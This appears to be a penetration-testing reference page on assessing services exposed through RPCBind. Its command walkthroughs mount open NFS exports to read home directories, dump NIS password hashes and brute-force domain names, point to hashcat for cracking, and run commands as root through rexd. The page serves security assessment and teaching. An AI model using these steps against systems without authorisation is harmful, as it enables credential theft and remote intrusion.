Skip to content
HackIndex logo

HackIndex

RPCBind Exposed Services Assessment

5 min read Mar 30, 2026

The portmapper itself is not the vulnerability — the danger is what it reveals. Each registered RPC program is a potential attack surface. This page covers assessing the most dangerous programs that appear in rpcinfo output: NFS without authentication, NIS/YP password database exposure, and rexd remote execution. Run RPC program enumeration first to build the full program list before working through these checks.

NFS — Unauthenticated Export Access

If mountd and nfs appear in the rpcinfo output, enumerate NFS exports immediately. Unauthenticated access to NFS exports is the most common high-impact finding from portmapper enumeration:

┌──(kali㉿kali)-[~]
└─$ showmount -e $TARGET_IP 
Export list for 10.10.10.50:
/home *
/var/nfs/data 10.10.10.0/24
/backup *
Explain command
-e Show the NFS server's export list on the target host.
$TARGET_IP Placeholder for the target host's IP address.

An export with * in the access list means any host can mount it — no authentication required. /home * means all home directories are world-mountable. This is a critical finding — mount and read SSH keys, bash history, and application configs. Move to NFS enumeration for the full exploitation path.

┌──(kali㉿kali)-[~]
└─$ mkdir /tmp/nfs_test && mount -t nfs $TARGET_IP:/home /tmp/nfs_test -o nolock && ls /tmp/nfs_test/ 
alice  bob  admin  service
Explain command
-t nfs Specifies the filesystem type to mount as NFS.
$TARGET_IP:/home Remote NFS server IP and exported share path to mount.
/tmp/nfs_test Local mount point directory for the NFS share.
-o nolock Disables NFS file locking, useful when lockd is unavailable.

NIS/YP — Password Database Exposure

If ypserv (100004) or ypbind (100007) appear in rpcinfo output, NIS is running. NIS stores password hashes in a map accessible to any NIS domain member — and sometimes to any host on the network:

┌──(kali㉿kali)-[~]
└─$ rpcinfo -p $TARGET_IP | grep -iE 'ypserv|ypbind|100004|100007' 
100004    2   tcp  645  ypserv
100007    2   tcp  657  ypbind
Explain command
-p Probe portmapper on the specified host and list all RPC programs.
$TARGET_IP Placeholder for the target host IP address to query.
-iE Case-insensitive match using extended regular expressions.
ypserv|ypbind|100004|100007 Filter for NIS server/binder services by name or RPC program number.
┌──(kali㉿kali)-[~]
└─$ ypwhich -d $DOMAIN $TARGET_IP 
10.10.10.50
Explain command
-d $DOMAIN Specifies the NIS domain name to query.
$TARGET_IP Target host to query for its NIS master server binding.
┌──(kali㉿kali)-[~]
└─$ ypcat -d $DOMAIN -h $TARGET_IP passwd 
root:$1$abc123$hashhere:0:0:root:/root:/bin/bash
alice:$1$xyz789$hashhere:1001:1001::/home/alice:/bin/bash
Explain command
-d $DOMAIN Specifies the NIS domain name to query.
-h $TARGET_IP Specifies the NIS server host IP address to connect to.
passwd NIS map name to retrieve (passwd entries from the NIS database).

ypcat passwd returning password hashes confirms the NIS password map is readable. Crack the hashes with hashcat mode 500 (MD5crypt) or mode 1800 (SHA512crypt) depending on the hash format. The NIS domain name is needed — try to obtain it from the target or brute force common names:

┌──(kali㉿kali)-[~]
└─$ for domain in local nis domain yp corp company; do echo -n "$domain: "; ypcat -d $domain -h $TARGET_IP passwd 2>&1 | head -1; done 
local: can't bind to NIS server
nis: root:$1$abc123...
corp: can't bind to NIS server

rexd — Remote Execution Without Authentication

rexd (program 100017) is a remote execution daemon that accepts arbitrary command execution from any host. Its presence is a critical finding on any modern system:

┌──(kali㉿kali)-[~]
└─$ rpcinfo -p $TARGET_IP | grep 100017 
100017    1   tcp  512  rexd
Explain command
-p Query the portmapper on the specified host and list all RPC programs.
$TARGET_IP Placeholder for the target host IP address to query.
┌──(kali㉿kali)-[~]
└─$ on -d $TARGET_IP id 
uid=0(root) gid=0(root) groups=0(root)
Explain command
-d Specifies the remote host to connect to and run the command on.
$TARGET_IP Placeholder for the target machine's IP address.
id Command to execute remotely, prints current user identity info.

rexd responding to the on command with command output is unauthenticated remote code execution. This is an immediate critical finding. The on utility is part of the rsh-client package on Debian/Ubuntu.

RPCBind Reachable from External Position

Port 111 should never be reachable from untrusted networks. Confirm whether the portmapper is internet-facing or only internal:

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 111 $TARGET_IP --open 
111/tcp open  rpcbind 2-4 (RPC #100000)
Explain command
-sV Probe open ports to determine service and version info.
-p 111 Scan only port 111 (portmapper/rpcbind).
$TARGET_IP Placeholder for the target host IP address.
--open Show only ports with an open state in results.

Port 111 open from an external or untrusted network position is a misconfiguration finding even if no dangerous programs are registered. The portmapper provides a full inventory of internal services to any connecting host — information that should not be externally accessible.

Assess All Unknown Programs

Programs showing up as numeric IDs without names are custom or less common RPC services. Scan their ports directly and fingerprint them:

┌──(kali㉿kali)-[~]
└─$ rpcinfo -p $TARGET_IP | awk 'NR>1 {print $4" "$5}' | sort -u | grep -v 'rpcbind\|nfs\|mountd\|nlockmgr\|status' 
34219 
48103 
52771
Explain command
-p Probe portmapper on the target and list all registered RPC programs.
$TARGET_IP Placeholder for the target host IP address to query.
NR>1 awk condition to skip the header line (first row) of rpcinfo output.
{print $4" "$5} awk action to print the protocol and port fields only.
-u sort flag to output only unique lines, removing duplicates.
-v grep flag to invert match, excluding lines matching the pattern.
rpcbind\|nfs\|mountd\|nlockmgr\|status Pattern to exclude common expected RPC services from results.
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 34219,48103,52771 $TARGET_IP
Explain command
-sV Probe open ports to determine service/version information.
-p 34219,48103,52771 Scan only the specified comma-separated ports.
$TARGET_IP Placeholder for the target host IP address.

References